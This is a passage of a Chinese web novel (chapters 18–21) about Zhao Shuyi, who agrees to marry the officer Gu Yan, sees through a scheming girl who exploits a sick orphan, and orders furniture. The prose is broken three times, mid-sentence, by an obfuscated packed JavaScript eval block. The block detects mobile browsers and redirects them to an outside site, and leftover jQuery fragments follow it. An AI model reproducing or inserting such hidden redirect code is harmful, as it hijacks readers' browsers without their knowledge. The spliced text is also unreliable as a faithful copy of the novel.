赵书宜直觉不是。 她沉默了。 对方也没再说话,好像刚才就只是随口那么一说。 两人很快就走到了家属院门口。 赵书宜心里下定决心,站住脚步,“顾岩,我们就选最后那处院子吧,让我去照顾夏连长。” 她的灵泉水或许能帮忙,她也相信顾岩看人的眼光。 听顾岩的意思,部队还在找可以帮忙照顾对方的人,以解决陶团长的后顾之忧。 对方是个保卫国家的光荣的军人,她能帮却袖手旁观会睡不着觉的。 “你说什么?”顾岩怀疑自己听错了。 赵书宜坚定说:“你不是问我想不想工作吗,我可以去照顾夏连长,我也觉得让陶团长那样的优秀军人就这样直接退伍很可惜,让我去试试吧。” 顾岩真的有点看不懂赵书宜了。 这次再见他发现赵书宜真的变了很多。 他不知道自己看到的哪个她才是真正的她。 但不管是哪个她应该都承担不起这样的责任。 “这事情我不能答应你,想要照顾一个受伤的病人不是那么简单的。” 赵书宜看起来就娇滴滴的,恐怕都不习惯自己身边没人照顾,更遑论去照顾别人? “我当然知道不简单,但是不试试怎么知道,万一我就是能把夏连长照顾得很好呢?” 赵书宜当然也没有受虐的癖好。 但她很清楚自己的身份。 是有了他们这群人的自我牺牲才有了后世的和平生活。 照顾一个身残的病人还是个脾气不好的病人可能会打乱她的计划。 但她也没打算一直照顾下去,等使用灵泉水治疗后就结束,至少让陶团长无后顾之忧。 可顾岩不同意。 “你不要耍小性子,你一个小姑娘,难道还会比勤务兵更懂得照顾人吗?” 赵书宜知道自己在他心里是个什么样的形象,只能想办法说服他。 “那你说要什么样的人才可以申请照顾夏连长,我们结婚的事可以先放放,我把工作的事情搞定我们再结婚。” “你想工作有很多机会。”顾岩也不知道她为什么突然这么犟,他是无论如何也不会同意的。 本来那两人的感情就已经岌岌可危,赵书宜不了解情况再去雪上加霜又怎么得了。 “你是不是不相信我?”赵书宜问。 顾岩没否认,“这确实是一件很艰难的事。” 他觉得自己哪怕不说赵书宜也应该明白。 但他给出的理由还比较委婉,“你没有这方面的经验,你知道怎么照顾病人吗?” 赵书宜气鼓鼓,虽然知道对方是负责任,不轻易揽担子,但她还是生气。 “我虽然没有照顾病人的经验,但我是个女人,我知道夫妻之间产生矛盾应该如何调节,我知道一个女人为什么要将深爱的丈夫拒之门外。” “爷爷说过,没有军人就没有我们普通人的幸福的生活,我深以为然,所以我希望我能为他们尽一份力。” 顾岩看着她无比坚定的眼神沉默了好一会儿,最终还是败下阵来。 “行。” “我还有……” 赵书宜眼神一亮,“你同意了!” 顾岩抿着唇说:“我同意去帮你跟陶团长说说,他不一定会同意,就算他同意,夏连长也不一定会同意。” “你带我去跟陶团长说,他一定会同意的,我爷爷之前给我留下过一个祛疤的药方,或许能治疗夏连长的伤。” 顾岩:“或许夏连长在意的并不是那些疤。” 作为一个军人,随时都做好了流血牺牲的准备,谁身上没几道疤? “我知道,但能让她好看一点为什么不试试呢,这世界上难道还有喜欢丑的人吗?” 赵书宜又不傻,自然知道对方的心结在哪。 但能漂亮,谁又愿意丑呢? 而且也不知道对方伤得怎么样,万一灵泉水能让对方重新站起来呢。 赵书宜看了陶团长那有些颓丧的样子,她突然觉得自己好像有了方向。 本来她来到这里有其中一点点理由是为了顾岩的腿。 如果她能早点让人接受她会治病的事情,或许到时候没那么麻烦。 或许……她还能帮助更多的军人。 顾岩像是被她说服了,没再反驳,而是点了点头,“到时候我跟他说说看,所以你确定要住最后一间院子了吗?” 赵书宜犹豫了一下。 答应下来就是答应和对方结婚了。 明明是一开始就决定好的,到了这紧要关头她却有点紧张了。 想想这一路顾岩的行事风格,她点了点头。 “是。” 人无完人,其实他算是一个各方面都还不错的男人。 反正之前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16615821|187744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该谈的条件两人都已经谈好了,也不需要再多言了。 顾岩点头,他觉得赵书宜好像是真的想要帮助陶团夫妻。 莫名的,他竟也生出点期待来。 “行,那我回去打结婚报告,明天可能要处理一点事情,后天我们一起看看院子怎么修缮,要打哪些家具?” 赵书宜觉得挺好,继续点头。 “那你明天好好休息一天,要不要我让人带你一起出去转转?” “不用,我就在招待所休息就行,之后有的是时间。” 她要好好规划一下,也不想自己时时刻刻被人盯着。 顾岩没有拒绝,“要给你送早饭吗,我们可能起得比较早。” “不用,你跟我说说国营饭店在哪,我自己去就行。” 顾岩给她指了指方向,又给了她几张大团结和票,“东西拿好,之后我再给你。” 把她当小孩。 赵书宜没拒绝,处对象,男人不出点钱怎么行? 可不能再养一个高志云出来。 不过顾岩倒是挺大方的。 眼看着天黑下来,未婚男女单独在外始终不好,顾岩直接把她送回了招待所。 “有什么需要就让招待所打电话。” 赵书宜笑着挥挥手,应了下来。 就这样,她就把自己的终生大事定下来了。 赵书宜心里多少有那么一丝丝惆怅。 罢了。 既来之,则安之。 回到房间,赵书宜先收拾了一下,然后照例进入空间做自己的事情。 前世因为她亲缘浅薄,赵书宜一直都很喜欢享受自己的私人空间。 不管是做什么,哪怕只是下楼买个酱油她都能把十分钟的路程走成二十分钟。 就是因为想要自己独处。 将自己沉浸在一件事情中也好,边做事边思考也好,只要没人打扰她,她都觉得很舒服。 现在也是这样,因为工具不是很趁手,赵书宜做鸡窝也不是很快,她知道她的木屋计划应该也不会太快实现。 就浅浅给自己个十年时间吧,只要十年内建出个像样的屋子就可以了。 不说别的,以后自己就在自己的移动空间里养老,谁有她这待遇? 忙了一阵,不想忙了她又继续躺着。 等安顿下来她就得找时间出去逛逛,再买一些之前没考虑到的东西。 一夜无梦。 翌日赵书宜起得并不早,但她也没打算真像昨天说的不出门。 这里的天气这么好,风景这么美,她要是一直在屋子里待着岂不可惜? 说起来空间里的风景也很好,可那种好跟外面的好还是不一样的。 空间里是一个很安宁很祥和很能让人平静的地方。 但外面不同,外面有风雨雷电有人情世故。 她是不想与过多人接触,却也知道人是群居动物,始终是要与人交流的。 说到底就是她不想与人有过于社会的交流,不想旁人来关注自己的热闹。 她也想要平和温馨的邻里、家庭关系,但她知道这是很难的,所以从一开始就将其拒之门外。 赵书宜觉得夏连长那样的女英雄应该不会是个话唠,对于对这个社会有贡献的人,她或许也会耐心足些。 在床上赖得肚子都饿了赵书宜才爬起来。 结果她还没收拾外面就传来了敲门声。 “谁啊?” 门外没人回应,赵书宜想着大概不会是什么坏人就打开门看了看,结果没想到是个出乎意料的人。 昨晚见过的那个小姑娘。 “姐姐。” 19. 不怪赵姐姐的 赵书宜着实没想到小姑娘会找上门来,而且还背着昨晚那孩子。 正好,她也对对方有些好奇。 其实她也不知道为什么,昨天和对方视线一对视,赵书宜就感觉有点不对劲。 如果这小姑娘对顾岩只是正常的感情,顾岩对她也是正常的照顾,那么赵书宜也愿意照顾他们两个。 但是如果是别的,她就要看顾岩的态度了。 “你找我是有什么事吗?” “姐姐,你是来和顾大哥结婚的吗?” 赵书宜点头没否认,“是。” 小姑娘紧紧抿了一下唇,“那你能陪我去买一身布料吗,我想给顾大哥做一身衣服给他当新婚贺礼。” 赵书宜看看她,又看看她背着的昏昏欲睡的小孩。 “你叫什么名字?” “蔡小月。” 她一双眼睛乌亮,皮肤黝黑,手指也有些粗糙,看着是像经常干活的。 但是她朴实的外表和展现出来的精明有些违和。 赵书宜一边打量她,一边询问情况。 “这孩子呢?” “蔡明亮。” 赵书宜颔首,抬手想要试试蔡明亮的额头,结果蔡小月一下把蔡明亮抱到了一边,还一脸防备的样子,这让赵书宜有些莫名其妙。 既然她担心自己对他们做什么事,她为什么还要把人抱过来找自己。 “小亮的烧还没退吧,你怎么不让他在家好好休息?” 蔡小月自己瘦得跟个竹竿似的,还抱着个孩子,看起来就很可怜,她一低头眼泪吧嗒吧嗒地往下掉。 “他们要欺负小亮。” “谁欺负小亮?”赵书宜一惊。 暂时把那种奇怪的感觉压了下去,她趁机摸了摸小孩的头,果然烫得很,脸上还有点红疹,像是过敏了。 难道是哭过敏了吗? 奇怪。 “先不说了,先把人送医院吧,要不然小亮烧坏了就不好了。” 也不知怎么的,刚才还好好的孩子突地哇哇哭起来。 赵书宜想去抱孩子,蔡小月非不肯,她哭着道:“小亮是饿了,姐姐给他点吃的吧。” “他不是饿了,是病了,我们先带他去医院。” 她又不知道这个孩子现在什么情况,哪敢随便给他吃东西,万一吃出问题怎么办? 可人家做家人的都不愿意把人送医院,她硬要送算怎么个事? “姐姐,没用的,我们把他治好了,他们还是会欺负他的,只有让小亮跟着顾大哥才行,只有顾大哥能保护小亮。” 赵书宜深吸一口气。 她算是看出来了,今天这小姑娘是拿捏她来了。 于是看她扑通跪在地上赵书宜也没管,只是让开了,不让她跪自己面前。 “求姐姐你给我们一条活路,顾大哥明明答应要照顾我们的,村里的人都知道我要嫁给他的。” 赵书宜瞳孔一缩,转念看着抱着孩子跪在地上的人,气笑了。 她深吸一口气,问:“那顾岩知道吗?” 蔡小月却不正面回答,“顾大哥……顾大哥说了要照顾我们的。” “姐姐……我也不跟你抢……” 她三两步跪到赵书宜跟前,“你能不能带我和小亮进家属院,把我当个小丫鬟也可以的。” 赵书宜前后两辈子都没见过这种场景,一时间竟不知道该怎么应对才好。 但这姑娘今天的算盘算是打错了。 “你能不能先起来?” 把她当什么了? 今天若是一个想法多的人在这里指不定被她这么一番话说得立马就要去找顾岩闹。 就算不会和顾岩因为这两个孩子的事情一拍两散,估计也会在两个人心里留下疙瘩。 还真是个有心机的。 “我求求你了,你不答应我我就不起来。呜呜……” 那哭得眼睛通红的样子倒是真叫人我见犹怜。 门都没关,她也不怕别人看见。 赵书宜真是无语望天,自己这是长了一张很好欺负的脸吗? 她深吸一口气,上前就要去抱她怀里的孩子。 “你把孩子给我。” “你干什么,你不要跟我抢小亮,啊——” 两人正僵持着门外冲过来两个高大身影。 “你们在干什么!”男人一声厉喝,屋内顿时安静下来。 前台婶子也跟着走了过来,还有住在招待所的其他人,门口一下子围了四五个人。 “顾大哥,你快来看看小亮,小亮……小亮他呜呜……” “不要跟我抢小亮。” 赵书宜:“……” 现在顾岩也来了,她也不用多管了。 都是什么事啊! 顾岩看到脸蛋发红呼吸急促的蔡明亮脸色沉沉,他一把将人抱了过去。 “怎么回事,去卫生所,边走边说!” 几人乌泱泱就要离开。 顾岩走出去两步回头看向赵书宜,“一起过去吧。” 他这温和下去的语气让赵书宜舒服了一点点。 至少没慌得一来就责怪她。 赵书宜对自己都有些没脾气了。 她可真是上辈子遭受得多了,心脏都强大了。 别人不责怪就当人好了。 不行,还得看看他下面的表现。 一行人急匆匆往医院赶。 蔡小月一直哭个不听,也没人再问她发生了什么事,只是大家看赵书宜的眼神还有些怪异。 赵书宜莫名其妙被这么个小丫头摆了一道,还真有点气。 要不是看在那小孩很不好的情况下,她准要收拾人。 所幸他们家属院卫生所离得不远,大夫说是过敏加上高烧未愈,相当于雪上加霜。 “怎么弄的,孩子平时过敏难道不知道吗?” 蔡小月一双眼睛都哭红了。 “我不知道,我们出来的时候还好好的,我说不要姐姐的东西,姐姐非要让小亮吃酥饼。” 赵书宜没搭理她那拙劣的演技。 几岁啊,搞这些。 “大夫,孩子的情况还好吧。” 本来听了小姑娘的话,王军医是有些埋怨赵书宜的。 人总是愿意同情弱者,相信弱者。 但见赵书宜是真心关心孩子,他又想,或许赵书宜也不是故意的,只是想讨好孩子而已。 毕竟顾连长的情况他们都是知道的。 “还好送来得及时,吃点药就能恢复过来,但是这样烧着烧久了可不行,下次一定要注意点。” “那就好。” 孩子没事就可以好好说说正事了。 她面无表情地看向顾岩。 顾岩薄唇紧紧抿着,说:“出去说吧。” 赵书宜当然没什么意见,转身就走。 卫生所其实也是一个家属院改造的,他们就站在院子里。 远处还有两个看热闹的婶子。 果然,在哪里都不缺看热闹的人,赵书宜觉得她这下怕是出名了,估计之后她想跟人接触别人怕是也不愿意和她接触了。 不过她也不在意,能理解固然好,不能理解她还能管别人怎么想吗? 于是她显得格外淡定。 顾岩多看了她两眼,正要开口,袖子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16615822|187744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 突然被蔡小月抓住。 “顾大哥,都是我的错,是我没照顾好小亮,对不起,不怪赵姐姐的,她不是故意的。” 顾岩收回袖子,再次看向赵书宜。 赵书宜闭口不言。 她就没见过这种事,也不想处理这种事,她什么也没做,凭什么解释? “姐姐,你也别跟顾大哥生气。”蔡小月见他们两人都不说话,明显有点迷茫,说话也有点慌张,但那双还算灵动的眼睛依旧转个不停。 赵书宜:“我没生气啊。” 怎么会不生气呢? 如果是别的女人不是早应该气得跳脚了吗? 蔡小月觉得有什么脱离了自己的计划,有些疑惑地看了赵书宜一眼,对上赵书宜淡漠的眼神时她有种被这个女人看穿的感觉。 怎么可能,她明明都打听过了,这就是个从京市过来的蛮横娇小姐。 那些自命清高的娇小姐不是都最厌恶男人身边有各种麻烦的吗? 她怎么无动于衷? 就在蔡小月脑子里想着计策的时候,耳边突然响起了顾岩的声音。 “蔡小月,以后你们家不用养着小亮了。” “什么,顾大哥!” 蔡小月一双眼睛水润润,任谁来瞧了都是我见犹怜,但顾岩一张冷脸毫无波动。 就连赵书宜都有些诧异,没明白他怎么突然是这态度,难不成是为了自己? “我已经给小亮找到了合适的收养人,以后你们家不用养着他了。” “这怎么可以,小亮是我们蔡家的孩子,顾大哥你怎么可以这么做?” 顾岩依旧不为所动,“你们家有把小亮当亲人吗?” 蔡小月这下是真的慌了,她眼泪跟不要钱的珠子似的往下掉,说话都不太利索了。 “我们怎么没把他当亲人,小亮最亲我了,你不能把他夺走,你凭什么,你答应我三哥要照顾我的。” 顾岩深吸一口气,“我是答应了小亮爸爸要照顾你,但是我要是知道你们家会这样糟蹋他的孩子,我绝不可能答应。” 现在还要来阻拦自己的婚事,他怎么能忍? “我没有!”蔡小月还想抵赖,“我真的没有,是姐姐只愿意要小亮不愿意要我吗,为什么,我做错了什么?” 赵书宜忍不下去,翻了个白眼,说:“你演技太差了。” 两人都是一愣。 顾岩也叹息一声,“你三哥一直说你家父母重男轻女,你在家日子过得艰难,他让我在看顾小亮的时候帮忙照顾一下你。” 蔡小月听到这话也没反应,一直垂着头不知在想什么。 “一开始我真以为是那样,可现在看来你脑子比你爸妈好,他们就算看重家里男丁也不可能对你怎么样。” “你有这样的脑子,就应该用来做一些更有意义的事情。” “以前的事我不跟你计较,你父母那边我会去沟通,你走吧。” 听到这话,蔡小月猛地抬头恶狠狠地看着顾岩。 如果不是亲眼所见,很难相信一个这么小的小姑娘脸上会露出这样的表情。 “你们知道什么,我生下来就是要尊重哥哥让着弟弟的,等我长大就要换彩礼给弟弟娶媳妇。” “凭什么!凭什么男孩子生下来谁都喜欢,男孩就是块宝,女孩就是棵草!凭什么!” “你别说的那么好听,你还不是一样,你一直只喜欢小亮看不上我!” 蔡小月几乎歇斯底里,仿佛心里积攒了无尽的委屈。 “我不管,你答应三哥要照顾我的,你要是不娶我,我就死在你们部队!” 她说着倏地就往旁边围墙冲了过去! 20. 怎么会有这么恶毒的人? 赵书宜眼疾手快,一把抓住了她。 可她像是真存了死志,跟头牛似的,拉都拉不回来。 “你冷静一点!” 真是可怜之人必有可恨之处啊! 赵书宜死死用力,却突然觉得手上一松。 蔡小月像只小鸡仔似的被顾岩拎起来扔到了一边。 他声音冷得像是刚从千年寒冰里走出来的,“我是个上过战场的人,手里沾过人命,不怕人死,但最瞧不上的就是你这种动不动就把不要命放在嘴边的人。” “你以为你现在还能在这里跟我叫嚣是为什么?” “是千千万万像你三哥那样的烈士用鲜血换来的!” “要死滚回去死!” 顾岩是真的生气了,整个人散发着森森寒意。 赵书宜能感觉到他说的那句话里带来的意思。 他手里是沾过人命的。 现在的他就像是地狱来的修罗,仿佛随时会大开杀戒。 但赵书宜并不害怕,因为她知道他不会那样做。 他只是从尸山血海中走过来,更加敬畏生命,所以对蔡小月这种要死要活的行为感到不耻与愤恨。 蔡小月也不知是不是被吓到了,哆哆嗦嗦哭着走了。 顾岩也没真不管她,让何旭跟着将她送了回去。 等人走了,院子里只剩下了赵书宜和他两人。 顾岩看了院子外一眼,原本那里还有两个看热闹的嫂子,对方见顾岩发火,也都已经被吓了回去。 赵书宜有些无语。 真有那么可怕吗? “抱歉,今天让你受委屈了。” 顾岩语气温和,声音都变小了,跟刚才那个大发雷霆的顾岩简直判若两人。 赵书宜扯了扯唇,“没事,有问题解决问题就好了。” 他的处理方法虽然好像有点残暴,但不拖泥带水,赵书宜挺满意的。 “不过那孩子你真的已经找好领养的人家了吗?” 顾岩沉默了一下,“我是找到了,不过还没有完全确定下来,但是你放心,不会让你收养孩子的。” 赵书宜其实倒也没有那么排斥,如果孩子是个好孩子,毕竟是烈士的孩子。 当然,如果能不收养自然更好。 尤其是他有那样的亲戚。 赵书宜坚信,爱人得先爱己,她不想为了别人让自己受委屈。 “给我两个月的时间吧,两个月内我会给他找一个好的去处,你不是想帮忙照顾夏连长吗,能不能带上这个孩子,两个月时间,我会给你工资。” 刚才赵书宜对孩子的关心顾岩都看在眼里。 他发现自己从前对赵书宜的印象似乎太过片面,他愿意多了解了解。 “这么严肃?”赵书宜下意识脱口而出。 其实她想到顾岩可能会让她照顾,她也做好了准备。 烈士的孩子,又那么可怜。 刚刚闹的时候赵书宜就猜到了大概的情况。 这孩子在蔡小月手下怕是吃了不少苦,至少她可以给这孩子养养身体。 但收养的话,她是犹豫的。 不过没想到顾岩根本没想让她收养,甚至还要给她钱请她照顾。 顾岩说:“这是应该的,你没什么义务照顾这个孩子,如果没有你,我也会请大院其他嫂子帮忙照顾,孩子有抚恤金,也可以支出费用,那个……” 他似乎纠结了一下,但还是望着赵书宜道:“我自己也想每个月拿出十块钱照顾这个孩子,不知道你会不会介意,我们可以商量一下。” 赵书宜更诧异了。 “你的钱我为什么要介意?” “如果我们结婚就是一家人,应该问问你的意见。” 一上午的郁气因为他的这句话被抚平了。 赵书宜语气也越发温和起来。 “我很好说话的,但前提是你要像今天这样什么事都和我商量着来。” 顾岩点头,“好。” “那你愿意帮忙吗,我给你一个月二十块的工资,夏连长那边应该也有,但我还没问。” 顾岩说:“另外家里的支出都由我来出,可能会麻烦你多照顾一点,但是我在家也会和你分担的,到时候你要是照顾不过来,我们也可以请家属院的婶子帮忙。” 他提了几次要请家属院的婶子帮忙了,赵书宜怎么听怎么感觉有点奇怪。 “你是不是不相信我可以做好家里的事情,照顾好孩子和夏连长?” 除了这个理由赵书宜想不到其他的了。 顾岩眼神闪了一下,“我是想着你可能不那么会做家务。” 果然是不信她。 赵书宜心里冷哼,但是也没怪他。 原身给人的感觉似乎就是在这方面不怎么靠谱的样子。 “我可以。”赵书宜放下“狠话”,“你等着瞧吧,绝对让你的二十块花得物超所值。” 顾岩笑笑,“行。” 说完他又严肃起来,“不过这种事情现在是不提倡的,所以在外面最好不要提,你放心我会提前把钱给你,不会赖账。” 不得不说,他考虑得还真是挺周全的。 不知道的还以为他有多稀罕自己这个媳妇呢,好像不做这些自己就会跑了。 “好。” 两人说定又进去看了看小孩,小孩还睡着,吃了药似乎好了许多,王军医又说了一下情况,确实没什么大碍,但得在卫生院观察一番。 顾岩请对方帮忙看着,他带赵书宜去吃饭。 路上顾岩跟赵书宜详细地说了说蔡明亮的事情。 孩子是前几年饥荒的时候出生的,孩子母亲因为生活不好,生孩子又耗费了大量的精气神,孩子出生后没多久就去了。 因为孩子父亲还能每个月寄钱回去,所以孩子的日子不说太好,至少还活得下去。 但是孩子父亲知道自己家人是什么人,如果自己走了,自己孩子肯定不可能过得好。 所以他在牺牲前拜托了自己的好友顾岩帮忙照顾自己的儿子。 “他没求我收养那个孩子,还主动说了不用我收养,只是希望我帮忙看顾着。” “他的心思比较重,为自己儿子考虑了很多,我会结婚会有自己的孩子,我要是收养他的孩子却不一定能一碗水端平,如果我不在,我的家人不一定能善待他的孩子。” “但是如果我只是帮他看着,不管我家有没有孩子,我肯定不会忘了他的孩子,永远可以替小亮出头。” 赵书宜有些懵,这是什么道理? 如果相信顾岩,不是让顾岩养着孩子更好吗? “他也怕影响我的家庭。” 看了眼赵书宜,他说:“我其实也担心。” 有些话顾岩没好意思说出口,其实跟他相处久了的人都能看得出来他很在意家庭。 所以他听到赵书宜说离婚会特别诧异。 如果这个孩子影响他的家庭,他肯定心也会偏的。 他还是个嫌麻烦的人,如果不是爷爷的叮嘱,他甚至不想和赵书宜结婚。 赵书宜隐隐约约地明白了顾岩的想法。 她感觉要彻底懂得他还需要一定的时间,不过她也不急。 就如今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16618298|187744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她了解到的情况,她还是愿意与顾岩继续接触下去的。 “我明白。” 顾岩看她乖巧点头的样子,不由得更柔和了神色,继续说起蔡家的事情来。 “一开始他们对小亮确实挺好的,直到我发现蔡小月看我的眼神有些不对劲,那段时间小亮经常生病,见了我也经常哭,但就是不说原因。” 赵书宜震惊,“他们利用小亮生病来接近你?” “对,一个装可怜,一个装恶人,而我是他们戏里拯救可怜人的大善人。” 顾岩在说这话的时候几乎咬牙切齿,可见他是真的厌弃那家人。 “所以今天孩子过敏也是故意的?”赵书宜气得跺脚,怎么会有这么恶毒的人? “他们全家都在配合蔡小月吗?” 顾岩看着她气鼓鼓的可爱样子都笑不出来,叹息道:“对,他们家里人打的把蔡小月嫁个不错的人家为家里谋福利的主意。” 赵书宜:“但我看蔡小月不像是会给他们福利的样子。” “你看人倒是挺准的。” 性子也沉稳。 顾岩还是很好奇,为什么短短几个月她变了这么多。 想了好半晌,他觉得赵书宜之前是装的,毕竟沉稳是很难装的,但装蠢就简单多了。 赵书宜并不知他心里在琢磨自己,说出自己的看法。 “她的演技太过了,或许文工团适合她。” 适合她这样夸张的表演。 顾岩扯了扯唇,“我本来想着赶紧找到收养人再跟他们把事情挑明,没想到他们这么沉不住气。” 之前因为有外出任务的缘故,顾岩没办法把孩子接到自己身边。 “你来了,真的帮了我大忙,就是要辛苦你。” 赵书宜完全不在意,“别说这样的话了,我不是还有报酬吗?” 顾岩知道她根本不缺。 不过他也不是个喜欢说这些场面话的人。 以后她会是他的妻子,他会对她好的。 “饿了没。” 赵书宜摸摸肚子,“真有点饿。” 顾岩看到她迷糊的样子,莫名想到之前看她在火车上从睡梦中醒来的模样,一股热意莫名上涌,他轻咳了一声。 “去国营饭店吧。” 顾岩大概是个名人,走在路上总有人打量他们,有些人会和顾岩打招呼,有些人只是看看他们。 一开始赵书宜有些不太适应,但习惯后也觉得没什么了。 主要顾岩都会应付,也不会跟人多说,说话时也有礼有节,让人听着比较舒服。 这边的国营饭店菜色很不错,是辣口,赵书宜喜欢,但原身这个身体似乎有点受不了,辣得她斯哈斯哈眼泪汪汪。 “你没事吧,我去给你倒杯水。” 顾岩回来时不仅拿了一杯水,还多拿了一瓶汽水让赵书宜选。 赵书宜看到汽水眼睛发亮,连忙喝了两口。 真是快活似神仙啊! “抱歉,我没想到你这么不能吃辣。” 是他疏忽了,虽然点的是少辣的菜,但是忘记了赵书宜是个沪市人。 “下次出来吃饭直接不要辣,可以提前跟他们说。” 赵书宜摆手,“没事,我很喜欢这个味道,很好吃,只是还不太习惯。” 说完一行清泪就从她的眼角滑了下来,她那句话很没有说服力。 不知为什么,顾岩心里蓦地揪了一下。 等他反应过来时,他的手指已经接触到了对方湿润的眼角。 赵书宜一下愣住了,她有些呆呆地看着顾岩。 21. 如果你不介意我们睡一张床 也不知是谁先反应过来,两人迅速弹开。 耳朵不约而同染上了红晕。 赵书宜觉得自己脸都在发烫。 她不禁有些懊恼。 虽然上辈子她母胎单身,但没吃过猪肉也是见过无数猪跑的,怎么就控制不住自己呢? 都是要结婚的人了,羞个屁啊。 但是想到刚才那一下的感觉,赵书宜整个人都要烧起来了。 顾岩似乎也很不好意思,他默了许久才想出一个话题。 “结婚报告我已经提交上去了,你想好要哪些家具了吗,我们可以先去找人打家具,然后去收拾屋子,顺便找陶团长。” 习惯了发号施令的人,询问意见不由自主就说得干巴巴的。 顾岩很快反应过来,他连忙补充了一句,“你看行吗?” 赵书宜却没能发现他的小心思,感激他找到话题,连忙点头。 “行啊,都听你的。” 天气炎热,趁着孩子被安置在卫生所,两人简单聊了一下想要的家具便决定择日不如撞日,现在就去订做家具。 顾岩没带她去后勤处,也没带她去供销社,而是带着她径直出了街道往乡下走去。 两人从镇上出去走小道大概二十分钟能到目的地。 “家具可以在后勤处申请,但是只有最简单的,这里可以定做,我看你想要的柜子得跟师傅好好商量一下,不用省钱,想要做什么就直接定下来。” 赵书宜问:“真的吗,你不会觉得我太败家了吗?” 顾岩掀起眼皮与她对视,眼底带了点笑意,面上却不太能看得出来。 他说:“你嫁给我总不能让你的日子比在家里差太多。” 明明是一句再简单不过的话,却是让赵书宜心跟着跳得快了一点。 他好像跟他表面那硬邦邦的样子不一样。 也会有说好听话哄女孩子的一面。 这边乡下的景色比镇上更好看,田里有一片蒜苗,长得极为茂盛,阳光照射下那片蒜苗随着风闪出一点一点的光。 美不胜收。 赵书宜的心情跟着扬起来,话里仿佛都带了点水果糖的味道,甜丝丝的。 “还有多久到呀?” 顾岩指了指前面门外有棵芭蕉树的院子,说:“就是那儿了。” 两人一起过去,顾岩敲开了房门。 来开门的是一个戴着头巾的中年妇女,见到两人她往后轻轻退了一步,等看到顾岩背着的孩子又放松了绷着的肩背。 “你们找谁?” “是曹婶子吗,我是镇上部队的,想来找你们定做几个家具可以吗?” “可以啊,进来吧,看看家里有没有你们想要的,有介绍信吗?” “有的。”顾岩掏出一张介绍信递给对方,对方看了一眼,让他们直接在院子里选。 院子里木制品很多,但是杂而不乱。 最多的就是板凳箱子和水桶一类。 赵书宜有点馋水桶,但是她是想放到空间里的,不方便在这里打,最主要是没想到居然还要介绍信。 “这些后勤处都有,我们主要打柜子。” 是赵书宜习惯了收纳比较多的柜子,所以跟顾岩商量的时候就提了出来,其实也不是必要,但来都来了做两个也行。 赵书宜先是仔细地看了看院子里的那些柜子,不得不说他们的做工还是很好的,款式简单,虽然普通点,但也有好处,那就是大方。 等走到一个大衣柜前,她突然发现后面居然还有个人,吓得她往后一跳。 “别怕别怕,是我男人。” 男人手里拿着块木料正在安装小匣子,刚才一直没发出声音,所以她也没有注意到。 不过她刚刚只是一扫也发现了对方的不对劲,对方似乎脚有点跛,藏在那里可能是怕被人看到。 “抱歉。”赵书宜没注意到人,还惊扰了人家,实在有些不好意思。 那婶子赶忙道:“没事没事,你选就是了。” “我能有自己想要的款式吗?” 其实赵书宜已经想好了的。 她想要一个餐边柜和一个衣柜,设计可能还是会比院子里这些超前一点。 “可以是可以,但价格可能会不一样,不过你们放心,我们这里的钱是要交到公社的,价格都是公道的。” 赵书宜点头,忙跟婶子说了一下自己的想法。 “嵌玻璃是吧,可以,但是玻璃你们得自己买。” 赵书宜还没开口,顾岩先道:“晚点我会送过来。” “那敢情好,这就没什么问题了,需不需要雕点花什么的,我们都可以做的。” 虽然这个年代都将讲究艰苦朴素,但是年轻人还是喜欢花样多一点的,婶子下意识推荐。 “不用不用,简单一点好擦洗。”赵书宜一笑,婶子也笑得见牙不见眼,“你这丫头说得对,是这个理。” 又把衣柜的样式说了,交了五块钱定金,约定送玻璃和拿货的时间,两人又告辞离开。 看着路边的田野,赵书宜想到自己的空间。 “我们有锄头什么的吗?” 顾岩一顿,“还真没有,可能得去供销社看看。你想种什么菜?” 赵书宜心说幸好自己想起来了。 “我都可以,时令蔬菜都种一些吧,弄个小菜园。” 她指了一下田边的一处小田,田里有番茄辣椒丝瓜黄瓜,看着就是照顾得很好的一块菜田。 顾岩看着她葱白一样的手指愣了愣神,点头,“我知道了,到时候你选种子,我来种。” 知道他是又担心自己干不了活,赵书宜也不解释,有些误会可以让他继续误会下去。 “好,那就交给你了,我帮你浇水。” 两人说笑着一路回了家属院。 今天时候早,家属院里人也不多,顾岩说其实家属院里大多嫂子都是没有工作的,平常就是在家照顾家庭。 “如果你想的话,你也可以待在家里。” “嗯,到时候再看看。” 赵书宜觉得也不能一开始就把话说死了,万一后面就有自己想做的事呢? 两人到院子的时候里面已经有几个士兵在帮忙收拾,见到他们立刻打招呼。 赵书宜有些震惊地看着焕然一新的院子都惊呆了。 他们干活也太麻利了。 